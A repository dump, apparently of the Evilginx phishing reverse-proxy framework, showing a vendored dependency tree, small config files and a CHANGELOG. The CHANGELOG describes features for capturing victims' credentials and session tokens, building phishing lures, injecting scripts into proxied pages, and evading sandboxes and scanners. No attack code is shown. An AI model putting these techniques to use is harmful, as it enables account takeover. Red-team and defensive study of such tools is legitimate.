    │       │   │   ├── zsys_linux_mipsle.go
    │       │   │   ├── zsys_linux_ppc.go
    │       │   │   ├── zsys_linux_ppc64.go
    │       │   │   ├── zsys_linux_ppc64le.go
    │       │   │   ├── zsys_linux_riscv64.go
    │       │   │   ├── zsys_linux_s390x.go
    │       │   │   ├── zsys_netbsd.go
    │       │   │   ├── zsys_openbsd.go
    │       │   │   ├── zsys_solaris.go
    │       │   │   └── zsys_zos_s390x.go
    │       │   ├── proxy/
    │       │   │   ├── dial.go
    │       │   │   ├── direct.go
    │       │   │   ├── per_host.go
    │       │   │   ├── proxy.go
    │       │   │   └── socks5.go
    │       │   └── publicsuffix/
    │       │       ├── data/
    │       │       │   ├── children
    │       │       │   ├── nodes
    │       │       │   └── text
    │       │       ├── list.go
    │       │       └── table.go
    │       ├── sys/
    │       │   ├── LICENSE
    │       │   ├── PATENTS
    │       │   ├── unix/
    │       │   │   ├── .gitignore
    │       │   │   ├── README.md
    │       │   │   ├── affinity_linux.go
    │       │   │   ├── aliases.go
    │       │   │   ├── asm_aix_ppc64.s
    │       │   │   ├── asm_bsd_386.s
    │       │   │   ├── asm_bsd_amd64.s
    │       │   │   ├── asm_bsd_arm.s
    │       │   │   ├── asm_bsd_arm64.s
    │       │   │   ├── asm_bsd_ppc64.s
    │       │   │   ├── asm_bsd_riscv64.s
    │       │   │   ├── asm_linux_386.s
    │       │   │   ├── asm_linux_amd64.s
    │       │   │   ├── asm_linux_arm.s
    │       │   │   ├── asm_linux_arm64.s
    │       │   │   ├── asm_linux_loong64.s
    │       │   │   ├── asm_linux_mips64x.s
    │       │   │   ├── asm_linux_mipsx.s
    │       │   │   ├── asm_linux_ppc64x.s
    │       │   │   ├── asm_linux_riscv64.s
    │       │   │   ├── asm_linux_s390x.s
    │       │   │   ├── asm_openbsd_mips64.s
    │       │   │   ├── asm_solaris_amd64.s
    │       │   │   ├── asm_zos_s390x.s
    │       │   │   ├── bluetooth_linux.go
    │       │   │   ├── cap_freebsd.go
    │       │   │   ├── constants.go
    │       │   │   ├── dev_aix_ppc.go
    │       │   │   ├── dev_aix_ppc64.go
    │       │   │   ├── dev_darwin.go
    │       │   │   ├── dev_dragonfly.go
    │       │   │   ├── dev_freebsd.go
    │       │   │   ├── dev_linux.go
    │       │   │   ├── dev_netbsd.go
    │       │   │   ├── dev_openbsd.go
    │       │   │   ├── dev_zos.go
    │       │   │   ├── dirent.go
    │       │   │   ├── endian_big.go
    │       │   │   ├── endian_little.go
    │       │   │   ├── env_unix.go
    │       │   │   ├── epoll_zos.go
    │       │   │   ├── fcntl.go
    │       │   │   ├── fcntl_darwin.go
    │       │   │   ├── fcntl_linux_32bit.go
    │       │   │   ├── fdset.go
    │       │   │   ├── fstatfs_zos.go
    │       │   │   ├── gccgo.go
    │       │   │   ├── gccgo_c.c
    │       │   │   ├── gccgo_linux_amd64.go
    │       │   │   ├── ifreq_linux.go
    │       │   │   ├── ioctl_linux.go
    │       │   │   ├── ioctl_signed.go
    │       │   │   ├── ioctl_unsigned.go
    │       │   │   ├── ioctl_zos.go
    │       │   │   ├── mkall.sh
    │       │   │   ├── mkerrors.sh
    │       │   │   ├── mmap_nomremap.go
    │       │   │   ├── mremap.go
    │       │   │   ├── pagesize_unix.go
    │       │   │   ├── pledge_openbsd.go
    │       │   │   ├── ptrace_darwin.go
    │       │   │   ├── ptrace_ios.go
    │       │   │   ├── race.go
    │       │   │   ├── race0.go
    │       │   │   ├── readdirent_getdents.go
    │       │   │   ├── readdirent_getdirentries.go
    │       │   │   ├── sockcmsg_dragonfly.go
    │       │   │   ├── sockcmsg_linux.go
    │       │   │   ├── sockcmsg_unix.go
    │       │   │   ├── sockcmsg_unix_other.go
    │       │   │   ├── syscall.go
    │       │   │   ├── syscall_aix.go
    │       │   │   ├── syscall_aix_ppc.go
    │       │   │   ├── syscall_aix_ppc64.go
    │       │   │   ├── syscall_bsd.go
    │       │   │   ├── syscall_darwin.go
    │       │   │   ├── syscall_darwin_amd64.go
    │       │   │   ├── syscall_darwin_arm64.go
    │       │   │   ├── syscall_darwin_libSystem.go
    │       │   │   ├── syscall_dragonfly.go
    │       │   │   ├── syscall_dragonfly_amd64.go
    │       │   │   ├── syscall_freebsd.go
    │       │   │   ├── syscall_freebsd_386.go
    │       │   │   ├── syscall_freebsd_amd64.go
    │       │   │   ├── syscall_freebsd_arm.go
    │       │   │   ├── syscall_freebsd_arm64.go
    │       │   │   ├── syscall_freebsd_riscv64.go
    │       │   │   ├── syscall_hurd.go
    │       │   │   ├── syscall_hurd_386.go
    │       │   │   ├── syscall_illumos.go
    │       │   │   ├── syscall_linux.go
    │       │   │   ├── syscall_linux_386.go
    │       │   │   ├── syscall_linux_alarm.go
    │       │   │   ├── syscall_linux_amd64.go
    │       │   │   ├── syscall_linux_amd64_gc.go
    │       │   │   ├── syscall_linux_arm.go
    │       │   │   ├── syscall_linux_arm64.go
    │       │   │   ├── syscall_linux_gc.go
    │       │   │   ├── syscall_linux_gc_386.go
    │       │   │   ├── syscall_linux_gc_arm.go
    │       │   │   ├── syscall_linux_gccgo_386.go
    │       │   │   ├── syscall_linux_gccgo_arm.go
    │       │   │   ├── syscall_linux_loong64.go
    │       │   │   ├── syscall_linux_mips64x.go
    │       │   │   ├── syscall_linux_mipsx.go
    │       │   │   ├── syscall_linux_ppc.go
    │       │   │   ├── syscall_linux_ppc64x.go
    │       │   │   ├── syscall_linux_riscv64.go
    │       │   │   ├── syscall_linux_s390x.go
    │       │   │   ├── syscall_linux_sparc64.go
    │       │   │   ├── syscall_netbsd.go
    │       │   │   ├── syscall_netbsd_386.go
    │       │   │   ├── syscall_netbsd_amd64.go
    │       │   │   ├── syscall_netbsd_arm.go
    │       │   │   ├── syscall_netbsd_arm64.go
    │       │   │   ├── syscall_openbsd.go
    │       │   │   ├── syscall_openbsd_386.go
    │       │   │   ├── syscall_openbsd_amd64.go
    │       │   │   ├── syscall_openbsd_arm.go
    │       │   │   ├── syscall_openbsd_arm64.go
    │       │   │   ├── syscall_openbsd_libc.go
    │       │   │   ├── syscall_openbsd_mips64.go
    │       │   │   ├── syscall_openbsd_ppc64.go
    │       │   │   ├── syscall_openbsd_riscv64.go
    │       │   │   ├── syscall_solaris.go
    │       │   │   ├── syscall_solaris_amd64.go
    │       │   │   ├── syscall_unix.go
    │       │   │   ├── syscall_unix_gc.go
    │       │   │   ├── syscall_unix_gc_ppc64x.go
    │       │   │   ├── syscall_zos_s390x.go
    │       │   │   ├── sysvshm_linux.go
    │       │   │   ├── sysvshm_unix.go
    │       │   │   ├── sysvshm_unix_other.go
    │       │   │   ├── timestruct.go
    │       │   │   ├── unveil_openbsd.go
    │       │   │   ├── xattr_bsd.go
    │       │   │   ├── zerrors_aix_ppc.go
    │       │   │   ├── zerrors_aix_ppc64.go
    │       │   │   ├── zerrors_darwin_amd64.go
    │       │   │   ├── zerrors_darwin_arm64.go
    │       │   │   ├── zerrors_dragonfly_amd64.go
    │       │   │   ├── zerrors_freebsd_386.go
    │       │   │   ├── zerrors_freebsd_amd64.go
    │       │   │   ├── zerrors_freebsd_arm.go
    │       │   │   ├── zerrors_freebsd_arm64.go
    │       │   │   ├── zerrors_freebsd_riscv64.go
    │       │   │   ├── zerrors_linux.go
    │       │   │   ├── zerrors_linux_386.go
    │       │   │   ├── zerrors_linux_amd64.go
    │       │   │   ├── zerrors_linux_arm.go
    │       │   │   ├── zerrors_linux_arm64.go
    │       │   │   ├── zerrors_linux_loong64.go
    │       │   │   ├── zerrors_linux_mips.go
    │       │   │   ├── zerrors_linux_mips64.go
    │       │   │   ├── zerrors_linux_mips64le.go
    │       │   │   ├── zerrors_linux_mipsle.go
    │       │   │   ├── zerrors_linux_ppc.go
    │       │   │   ├── zerrors_linux_ppc64.go
    │       │   │   ├── zerrors_linux_ppc64le.go
    │       │   │   ├── zerrors_linux_riscv64.go
    │       │   │   ├── zerrors_linux_s390x.go
    │       │   │   ├── zerrors_linux_sparc64.go
    │       │   │   ├── zerrors_netbsd_386.go
    │       │   │   ├── zerrors_netbsd_amd64.go
    │       │   │   ├── zerrors_netbsd_arm.go
    │       │   │   ├── zerrors_netbsd_arm64.go
    │       │   │   ├── zerrors_openbsd_386.go
    │       │   │   ├── zerrors_openbsd_amd64.go
    │       │   │   ├── zerrors_openbsd_arm.go
    │       │   │   ├── zerrors_openbsd_arm64.go
    │       │   │   ├── zerrors_openbsd_mips64.go
    │       │   │   ├── zerrors_openbsd_ppc64.go
    │       │   │   ├── zerrors_openbsd_riscv64.go
    │       │   │   ├── zerrors_solaris_amd64.go
    │       │   │   ├── zerrors_zos_s390x.go
    │       │   │   ├── zptrace_armnn_linux.go
    │       │   │   ├── zptrace_linux_arm64.go
    │       │   │   ├── zptrace_mipsnn_linux.go
    │       │   │   ├── zptrace_mipsnnle_linux.go
    │       │   │   ├── zptrace_x86_linux.go
    │       │   │   ├── zsyscall_aix_ppc.go
    │       │   │   ├── zsyscall_aix_ppc64.go
    │       │   │   ├── zsyscall_aix_ppc64_gc.go
    │       │   │   ├── zsyscall_aix_ppc64_gccgo.go
    │       │   │   ├── zsyscall_darwin_amd64.go
    │       │   │   ├── zsyscall_darwin_amd64.s
    │       │   │   ├── zsyscall_darwin_arm64.go
    │       │   │   ├── zsyscall_darwin_arm64.s
    │       │   │   ├── zsyscall_dragonfly_amd64.go
    │       │   │   ├── zsyscall_freebsd_386.go
    │       │   │   ├── zsyscall_freebsd_amd64.go
    │       │   │   ├── zsyscall_freebsd_arm.go
    │       │   │   ├── zsyscall_freebsd_arm64.go
    │       │   │   ├── zsyscall_freebsd_riscv64.go
    │       │   │   ├── zsyscall_illumos_amd64.go
    │       │   │   ├── zsyscall_linux.go
    │       │   │   ├── zsyscall_linux_386.go
    │       │   │   ├── zsyscall_linux_amd64.go
    │       │   │   ├── zsyscall_linux_arm.go
    │       │   │   ├── zsyscall_linux_arm64.go
    │       │   │   ├── zsyscall_linux_loong64.go
    │       │   │   ├── zsyscall_linux_mips.go
    │       │   │   ├── zsyscall_linux_mips64.go
    │       │   │   ├── zsyscall_linux_mips64le.go
    │       │   │   ├── zsyscall_linux_mipsle.go
    │       │   │   ├── zsyscall_linux_ppc.go
    │       │   │   ├── zsyscall_linux_ppc64.go
    │       │   │   ├── zsyscall_linux_ppc64le.go
    │       │   │   ├── zsyscall_linux_riscv64.go
    │       │   │   ├── zsyscall_linux_s390x.go
    │       │   │   ├── zsyscall_linux_sparc64.go
    │       │   │   ├── zsyscall_netbsd_386.go
    │       │   │   ├── zsyscall_netbsd_amd64.go
    │       │   │   ├── zsyscall_netbsd_arm.go
    │       │   │   ├── zsyscall_netbsd_arm64.go
    │       │   │   ├── zsyscall_openbsd_386.go
    │       │   │   ├── zsyscall_openbsd_386.s
    │       │   │   ├── zsyscall_openbsd_amd64.go
    │       │   │   ├── zsyscall_openbsd_amd64.s
    │       │   │   ├── zsyscall_openbsd_arm.go
    │       │   │   ├── zsyscall_openbsd_arm.s
    │       │   │   ├── zsyscall_openbsd_arm64.go
    │       │   │   ├── zsyscall_openbsd_arm64.s
    │       │   │   ├── zsyscall_openbsd_mips64.go
    │       │   │   ├── zsyscall_openbsd_mips64.s
    │       │   │   ├── zsyscall_openbsd_ppc64.go
    │       │   │   ├── zsyscall_openbsd_ppc64.s
    │       │   │   ├── zsyscall_openbsd_riscv64.go
    │       │   │   ├── zsyscall_openbsd_riscv64.s
    │       │   │   ├── zsyscall_solaris_amd64.go
    │       │   │   ├── zsyscall_zos_s390x.go
    │       │   │   ├── zsysctl_openbsd_386.go
    │       │   │   ├── zsysctl_openbsd_amd64.go
    │       │   │   ├── zsysctl_openbsd_arm.go
    │       │   │   ├── zsysctl_openbsd_arm64.go
    │       │   │   ├── zsysctl_openbsd_mips64.go
    │       │   │   ├── zsysctl_openbsd_ppc64.go
    │       │   │   ├── zsysctl_openbsd_riscv64.go
    │       │   │   ├── zsysnum_darwin_amd64.go
    │       │   │   ├── zsysnum_darwin_arm64.go
    │       │   │   ├── zsysnum_dragonfly_amd64.go
    │       │   │   ├── zsysnum_freebsd_386.go
    │       │   │   ├── zsysnum_freebsd_amd64.go
    │       │   │   ├── zsysnum_freebsd_arm.go
    │       │   │   ├── zsysnum_freebsd_arm64.go
    │       │   │   ├── zsysnum_freebsd_riscv64.go
    │       │   │   ├── zsysnum_linux_386.go
    │       │   │   ├── zsysnum_linux_amd64.go
    │       │   │   ├── zsysnum_linux_arm.go
    │       │   │   ├── zsysnum_linux_arm64.go
    │       │   │   ├── zsysnum_linux_loong64.go
    │       │   │   ├── zsysnum_linux_mips.go
    │       │   │   ├── zsysnum_linux_mips64.go
    │       │   │   ├── zsysnum_linux_mips64le.go
    │       │   │   ├── zsysnum_linux_mipsle.go
    │       │   │   ├── zsysnum_linux_ppc.go
    │       │   │   ├── zsysnum_linux_ppc64.go
    │       │   │   ├── zsysnum_linux_ppc64le.go
    │       │   │   ├── zsysnum_linux_riscv64.go
    │       │   │   ├── zsysnum_linux_s390x.go
    │       │   │   ├── zsysnum_linux_sparc64.go
    │       │   │   ├── zsysnum_netbsd_386.go
    │       │   │   ├── zsysnum_netbsd_amd64.go
    │       │   │   ├── zsysnum_netbsd_arm.go
    │       │   │   ├── zsysnum_netbsd_arm64.go
    │       │   │   ├── zsysnum_openbsd_386.go
    │       │   │   ├── zsysnum_openbsd_amd64.go
    │       │   │   ├── zsysnum_openbsd_arm.go
    │       │   │   ├── zsysnum_openbsd_arm64.go
    │       │   │   ├── zsysnum_openbsd_mips64.go
    │       │   │   ├── zsysnum_openbsd_ppc64.go
    │       │   │   ├── zsysnum_openbsd_riscv64.go
    │       │   │   ├── zsysnum_zos_s390x.go
    │       │   │   ├── ztypes_aix_ppc.go
    │       │   │   ├── ztypes_aix_ppc64.go
    │       │   │   ├── ztypes_darwin_amd64.go
    │       │   │   ├── ztypes_darwin_arm64.go
    │       │   │   ├── ztypes_dragonfly_amd64.go
    │       │   │   ├── ztypes_freebsd_386.go
    │       │   │   ├── ztypes_freebsd_amd64.go
    │       │   │   ├── ztypes_freebsd_arm.go
    │       │   │   ├── ztypes_freebsd_arm64.go
    │       │   │   ├── ztypes_freebsd_riscv64.go
    │       │   │   ├── ztypes_linux.go
    │       │   │   ├── ztypes_linux_386.go
    │       │   │   ├── ztypes_linux_amd64.go
    │       │   │   ├── ztypes_linux_arm.go
    │       │   │   ├── ztypes_linux_arm64.go
    │       │   │   ├── ztypes_linux_loong64.go
    │       │   │   ├── ztypes_linux_mips.go
    │       │   │   ├── ztypes_linux_mips64.go
    │       │   │   ├── ztypes_linux_mips64le.go
    │       │   │   ├── ztypes_linux_mipsle.go
    │       │   │   ├── ztypes_linux_ppc.go
    │       │   │   ├── ztypes_linux_ppc64.go
    │       │   │   ├── ztypes_linux_ppc64le.go
    │       │   │   ├── ztypes_linux_riscv64.go
    │       │   │   ├── ztypes_linux_s390x.go
    │       │   │   ├── ztypes_linux_sparc64.go
    │       │   │   ├── ztypes_netbsd_386.go
    │       │   │   ├── ztypes_netbsd_amd64.go
    │       │   │   ├── ztypes_netbsd_arm.go
    │       │   │   ├── ztypes_netbsd_arm64.go
    │       │   │   ├── ztypes_openbsd_386.go
    │       │   │   ├── ztypes_openbsd_amd64.go
    │       │   │   ├── ztypes_openbsd_arm.go
    │       │   │   ├── ztypes_openbsd_arm64.go
    │       │   │   ├── ztypes_openbsd_mips64.go
    │       │   │   ├── ztypes_openbsd_ppc64.go
    │       │   │   ├── ztypes_openbsd_riscv64.go
    │       │   │   ├── ztypes_solaris_amd64.go
    │       │   │   └── ztypes_zos_s390x.go
    │       │   └── windows/
    │       │       ├── aliases.go
    │       │       ├── dll_windows.go
    │       │       ├── empty.s
    │       │       ├── env_windows.go
    │       │       ├── eventlog.go
    │       │       ├── exec_windows.go
    │       │       ├── memory_windows.go
    │       │       ├── mkerrors.bash
    │       │       ├── mkknownfolderids.bash
    │       │       ├── mksyscall.go
    │       │       ├── race.go
    │       │       ├── race0.go
    │       │       ├── security_windows.go
    │       │       ├── service.go
    │       │       ├── setupapi_windows.go
    │       │       ├── str.go
    │       │       ├── syscall.go
    │       │       ├── syscall_windows.go
    │       │       ├── types_windows.go
    │       │       ├── types_windows_386.go
    │       │       ├── types_windows_amd64.go
    │       │       ├── types_windows_arm.go
    │       │       ├── types_windows_arm64.go
    │       │       ├── zerrors_windows.go
    │       │       ├── zknownfolderids_windows.go
    │       │       └── zsyscall_windows.go
    │       ├── text/
    │       │   ├── LICENSE
    │       │   ├── PATENTS
    │       │   ├── secure/
    │       │   │   └── bidirule/
    │       │   │       ├── bidirule.go
    │       │   │       ├── bidirule10.0.0.go
    │       │   │       └── bidirule9.0.0.go
    │       │   ├── transform/
    │       │   │   └── transform.go
    │       │   └── unicode/
    │       │       ├── bidi/
    │       │       │   ├── bidi.go
    │       │       │   ├── bracket.go
    │       │       │   ├── core.go
    │       │       │   ├── prop.go
    │       │       │   ├── tables10.0.0.go
    │       │       │   ├── tables11.0.0.go
    │       │       │   ├── tables12.0.0.go
    │       │       │   ├── tables13.0.0.go
    │       │       │   ├── tables15.0.0.go
    │       │       │   ├── tables9.0.0.go
    │       │       │   └── trieval.go
    │       │       └── norm/
    │       │           ├── composition.go
    │       │           ├── forminfo.go
    │       │           ├── input.go
    │       │           ├── iter.go
    │       │           ├── normalize.go
    │       │           ├── readwriter.go
    │       │           ├── tables10.0.0.go
    │       │           ├── tables11.0.0.go
    │       │           ├── tables12.0.0.go
    │       │           ├── tables13.0.0.go
    │       │           ├── tables15.0.0.go
    │       │           ├── tables9.0.0.go
    │       │           ├── transform.go
    │       │           └── trie.go
    │       └── tools/
    │           ├── LICENSE
    │           ├── PATENTS
    │           ├── go/
    │           │   ├── gcexportdata/
    │           │   │   ├── gcexportdata.go
    │           │   │   └── importer.go
    │           │   ├── internal/
    │           │   │   └── packagesdriver/
    │           │   │       └── sizes.go
    │           │   ├── packages/
    │           │   │   ├── doc.go
    │           │   │   ├── external.go
    │           │   │   ├── golist.go
    │           │   │   ├── golist_overlay.go
    │           │   │   ├── loadmode_string.go
    │           │   │   ├── packages.go
    │           │   │   └── visit.go
    │           │   └── types/
    │           │       └── objectpath/
    │           │           └── objectpath.go
    │           └── internal/
    │               ├── event/
    │               │   ├── core/
    │               │   │   ├── event.go
    │               │   │   ├── export.go
    │               │   │   └── fast.go
    │               │   ├── doc.go
    │               │   ├── event.go
    │               │   ├── keys/
    │               │   │   ├── keys.go
    │               │   │   ├── standard.go
    │               │   │   └── util.go
    │               │   ├── label/
    │               │   │   └── label.go
    │               │   └── tag/
    │               │       └── tag.go
    │               ├── gcimporter/
    │               │   ├── bimport.go
    │               │   ├── exportdata.go
    │               │   ├── gcimporter.go
    │               │   ├── iexport.go
    │               │   ├── iimport.go
    │               │   ├── newInterface10.go
    │               │   ├── newInterface11.go
    │               │   ├── support_go117.go
    │               │   ├── support_go118.go
    │               │   ├── unified_no.go
    │               │   ├── unified_yes.go
    │               │   ├── ureader_no.go
    │               │   └── ureader_yes.go
    │               ├── gocommand/
    │               │   ├── invoke.go
    │               │   ├── vendor.go
    │               │   └── version.go
    │               ├── packagesinternal/
    │               │   └── packages.go
    │               ├── pkgbits/
    │               │   ├── codes.go
    │               │   ├── decoder.go
    │               │   ├── doc.go
    │               │   ├── encoder.go
    │               │   ├── flags.go
    │               │   ├── frames_go1.go
    │               │   ├── frames_go17.go
    │               │   ├── reloc.go
    │               │   ├── support.go
    │               │   ├── sync.go
    │               │   └── syncmarker_string.go
    │               ├── tokeninternal/
    │               │   └── tokeninternal.go
    │               ├── typeparams/
    │               │   ├── common.go
    │               │   ├── coretype.go
    │               │   ├── normalize.go
    │               │   ├── termlist.go
    │               │   └── typeterm.go
    │               ├── typesinternal/
    │               │   ├── errorcode.go
    │               │   ├── errorcode_string.go
    │               │   ├── types.go
    │               │   └── types_118.go
    │               └── versions/
    │                   ├── gover.go
    │                   ├── types.go
    │                   ├── types_go121.go
    │                   ├── types_go122.go
    │                   └── versions.go
    ├── gopkg.in/
    │   ├── ini.v1/
    │   │   ├── .editorconfig
    │   │   ├── .gitignore
    │   │   ├── .golangci.yml
    │   │   ├── LICENSE
    │   │   ├── Makefile
    │   │   ├── README.md
    │   │   ├── codecov.yml
    │   │   ├── data_source.go
    │   │   ├── deprecated.go
    │   │   ├── error.go
    │   │   ├── file.go
    │   │   ├── helper.go
    │   │   ├── ini.go
    │   │   ├── key.go
    │   │   ├── parser.go
    │   │   ├── section.go
    │   │   └── struct.go
    │   ├── square/
    │   │   └── go-jose.v2/
    │   │       ├── .gitcookies.sh.enc
    │   │       ├── .gitignore
    │   │       ├── .travis.yml
    │   │       ├── BUG-BOUNTY.md
    │   │       ├── CONTRIBUTING.md
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── asymmetric.go
    │   │       ├── cipher/
    │   │       │   ├── cbc_hmac.go
    │   │       │   ├── concat_kdf.go
    │   │       │   ├── ecdh_es.go
    │   │       │   └── key_wrap.go
    │   │       ├── crypter.go
    │   │       ├── doc.go
    │   │       ├── encoding.go
    │   │       ├── json/
    │   │       │   ├── LICENSE
    │   │       │   ├── README.md
    │   │       │   ├── decode.go
    │   │       │   ├── encode.go
    │   │       │   ├── indent.go
    │   │       │   ├── scanner.go
    │   │       │   ├── stream.go
    │   │       │   └── tags.go
    │   │       ├── jwe.go
    │   │       ├── jwk.go
    │   │       ├── jws.go
    │   │       ├── opaque.go
    │   │       ├── shared.go
    │   │       ├── signing.go
    │   │       └── symmetric.go
    │   └── yaml.v2/
    │       ├── .travis.yml
    │       ├── LICENSE
    │       ├── LICENSE.libyaml
    │       ├── NOTICE
    │       ├── README.md
    │       ├── apic.go
    │       ├── decode.go
    │       ├── emitterc.go
    │       ├── encode.go
    │       ├── parserc.go
    │       ├── readerc.go
    │       ├── resolve.go
    │       ├── scannerc.go
    │       ├── sorter.go
    │       ├── writerc.go
    │       ├── yaml.go
    │       ├── yamlh.go
    │       └── yamlprivateh.go
    └── modules.txt

================================================
FILE CONTENTS
================================================

================================================
FILE: .dockerignore
================================================
Dockerfile
Makefile
README.md
LICENSE
media


================================================
FILE: .github/FUNDING.yml
================================================
# These are supported funding model platforms

github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
patreon: mrgretzky
open_collective: # Replace with a single Open Collective username
ko_fi: mrgretzky
tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
liberapay: mrgretzky
issuehunt: # Replace with a single IssueHunt username
otechie: # Replace with a single Otechie username
custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']


================================================
FILE: .gitignore
================================================
release/
build/
private/
/phishlets
!/phishlets/example.yaml


================================================
FILE: .travis.yml
================================================
sudo: false

language: go
go:
  - 1.10.x
  - master

notifications:
  email: false

install: true


================================================
FILE: CHANGELOG
================================================
# Unreleased
- Fixed: Redirection to `redirect_url` on page reload after authorization tokens have been captured.

# 3.3.0
- Feature: Official GoPhish integration, using the fork: https://github.com/kgretzky/gophish
- Feature: Added support to load custom TLS certificates from a public certificate file and a private key file stored in `~/.evilginx/crt/sites/<hostname>/`. Will load `fullchain.pem` and `privkey.pem` pair or a combination of a `.pem`/`.crt` (public certificate) and a `.key` (private key) file. Make sure to run without `-developer` flag and disable autocert retrieval with `config autocert off`.
- Feature: Added ability to inject `force_post` POST parameters into JSON content body (by [@yudasm_](https://twitter.com/yudasm_)).
- Feature: Added ability to disable automated TLS certificate retrieval from LetsEncrypt with `config autocert <on/off>`.
- Feature: Evilginx will now properly recognize origin IP for requests coming from behind a reverse proxy (nginx/apache2/cloudflare/azure).
- Fixed: Infinite redirection loop if the lure URL path was the same as the login path defined in the phishlet.
- Fixed: Added support for exported cookies with names prefixed with `__Host-` and `__Secure-`.
- Fixed: Global `unauth_url` can now be set to an empty string to have the server return `403` on unauthorized requests.
- Fixed: Unauthorized redirects and blacklisting would be ignored for `proxy_hosts` with `session: false` (default) making it easy to detect evilginx by external scanners.
- Fixed: IP address `127.0.0.1` is now ignored from being added to the IP blacklist.
- Fixed: Added support for more TLDs to use with phishing domains (e.g. `xyz`, `art`, `tech`, `wiki`, `lol` & more)
- Fixed: Credentials will now be captured also from intercepted requests.

# 3.2.0
- Feature: URL redirects on successful token capture now work dynamically on every phishing page. Pages do not need to reload or redirect first for the redirects to happen.
- Feature: Lures can now be paused for a fixed time duration with `lures pause <id>`. Useful when you want to briefly redirect your lure URL when you know sandboxes will try to scan them.
- Feature: Added phishlet ability to intercept HTTP requests and return custom responses via a new `intercept` section.
- Feature: Added a new optional `redirect_url` value for phishlet config, which can hold a default redirect URL, to redirect to, once tokens are successfully captured. `redirect_url` set for the specific lure will override this value.
- Feature: You can now override globally set unauthorized redirect URL per phishlet with `phishlet unauth_url <phishlet> <url>`.
- Fixed: Disabled caching for HTML and Javascript content to make on-the-fly proxied content replacements and injections more reliable.
- Fixed: Improved JS injection by adding `<script src"...">` references into HTML pages, instead of dumping the whole script there.
- Fixed: Blocked requests will now redirect using javascript, instead of HTTP location header.
- Fixed: Changed `redirect_url` to `unauth_url` in global config to avoid confusion.
- Fixed: Fixed HTTP status code response for Javascript redirects.
- Fixed: Javascript redirects now happen on `text/html` pages with valid HTML content.
- Fixed: Removed `ua_filter` column from the lures list view. It is still viewable in lure detailed view.

# 3.1.0
- Feature: Listening IP and external IP can now be separated with `config ipv4 bind <bind_ipv4_addr>` and `config ipv4 external <external_ipv4_addr>` to help with properly setting up networking.
- Fixed: Session cookies (cookies with no expiry date set) are now correctly captured every time. There is no need to specify `:always` key modifier for `auth_tokens` to capture them.
- Fixed: Captured custom tokens are now displayed properly and values are not truncated.

# 3.0.0
- Feature: TLS certificates from LetsEncrypt will now get automatically renewed.
- Feature: Automated retrieval and renewal of LetsEncrypt TLS certificates is now managed by `certmagic` library.
- Feature: Authentication tokens can now be captured not only from cookies, but also from response body and HTTP headers.
- Feature: Phishing pages can now be embedded inside of iframes.
- Feature: Changed redirection after successful session capture from `Location` header redirection to injected Javascript redirection.
- Feature: Changed config file from `config.yaml` to `config.json`, permanently changing the configuration format to JSON.
- Feature: Changed open-source license from GPL to BSD-3.
- Feature: Added `always` modifier for capturing authentication cookies, forcing to capture a cookie even if it has no expiration time.
- Feature: Added `phishlet <phishlet>` command to show details of a specific phishlet.
- Feature: Added phishlet templates, allowing to create child phishlets with custom parameters like pre-configured subdomain or domain. Parameters can be defined anywhere in the phishlet file as `{param_name}` and every occurence will be replaced with pre-configured parameter values of the created child phishlet.
- Feature: Added `phishlet create` command to create child phishlets from template phishlets.
- Feature: Renamed lure `templates` to lure `redirectors` due to name conflict with phishlet templates.
- Feature: Added `{orig_hostname}` and `{orig_domain}` support for `sub_filters` phishlet setting.
- Feature: Added `{basedomain}` and `{basedomain_regexp}` support for `sub_filters` phishlet setting.
- Fixed: One target can now have multiple phishing sessions active for several different phishlets.
- Fixed: Cookie capture from HTTP packet response will not stop mid-term, ignoring missing `opt` cookies, when all authentication cookies are already captured.
- Fixed: `trigger_paths` regexp will now match a full string instead of triggering true when just part of it is detected in URL path.
- Fixed: Phishlet table rows are now sorted alphabetically.
- Fixed: Improved phishing session management to always create a new session when lure URL is hit if session cookie is not present, even when IP whitelist is set.
- Fixed: WebSocket connections are now properly proxied.

# 2.4.0
- Feature: Create and set up pre-phish HTML templates for your campaigns. Create your HTML file and place `{lure_url_html}` or `{lure_url_js}` in code to manage redirection to the phishing page with any form of user interaction. Command: `lures edit <id> template <template>`
- Feature: Create customized hostnames for every phishing lure. Command: `lures edit <id> hostname <hostname>`.
- Feature: Support for routing connection via SOCKS5 and HTTP(S) proxies. Command: `proxy`.
- Feature: IP blacklist with automated IP address blacklisting and blocking on all or unauthorized requests. Command: `blacklist`
- Feature: Custom parameters can now be embedded encrypted in the phishing url. Command: `lures get-url <id> param1=value1 param2="value2 with spaces"`.
- Feature: Requests to phishing urls can now be rejected if User-Agent of the visitor doesn't match the whitelist regular expression filter for given lure. Command: `lures edit <id> ua_filter <regexp>`
- List of custom parameters can now be imported directly from file (text, csv, json). Command: `lures get-url <id> import <params_file>`.
- Generated phishing urls can now be exported to file (text, csv, json). Command: `lures get-url <id> import <params_file> export <export_file> <text|csv|json>`.
- Fixed: Requesting LetsEncrypt certificates multiple times without restarting. Subsequent requests would result in "No embedded JWK in JWS header" error.
- Removed setting custom parameters in lures options. Parameters will now only be sent encoded with the phishing url.
- Added `with_params` option to `sub_filter` allowing to enable the sub_filter only when specific parameter was set with the phishing url.
- Made command help screen easier to read.
- Improved autofill for `lures edit` commands and switched positions of `<id>` and the variable name.
- Increased the duration of whitelisting authorized connections for whole IP address from 15 seconds to 10 minutes.

# 2.3.3
- Fixed: Multiple concurrent map writes when whitelisting IPs during heavy loads.

# 2.3.2
- ACMEv2 support added to comply with LetsEncrypt requirements.
- Fixed session cookie output to support EditThisCookie on the latest Chrome version.
- Increased timeouts for proxying HTTP packets to 45 seconds.
- Added support for Go modules.

# 2.3.1
- Redirection is now triggered only for responses with `text/html` content-type header.

# 2.3.0
- Proxy can now create most of required `sub_filters` on its own, making it much easier to create new phishlets.
- Added lures, with which you can prepare custom phishing URLs with each having its own set of unique options (`help lures` for more info).
- Added OpenGraph settings for lures, allowing to create enticing content for link previews.
- Added ability to inject custom Javascript into proxied pages.
- Injected Javascript can be customized with values of custom parameters, specified in lure options.
- Deprecated `landing_path` and replaced it with `login` section, which contains the domain and path for website's login page.

# 2.2.1
- Fixed: `type` with value `json` was not correctly activated when set under `credentials`.

# 2.2.0
- Now when any of `auth_urls` is triggered, the redirection will take place AFTER response cookies for that request are captured.
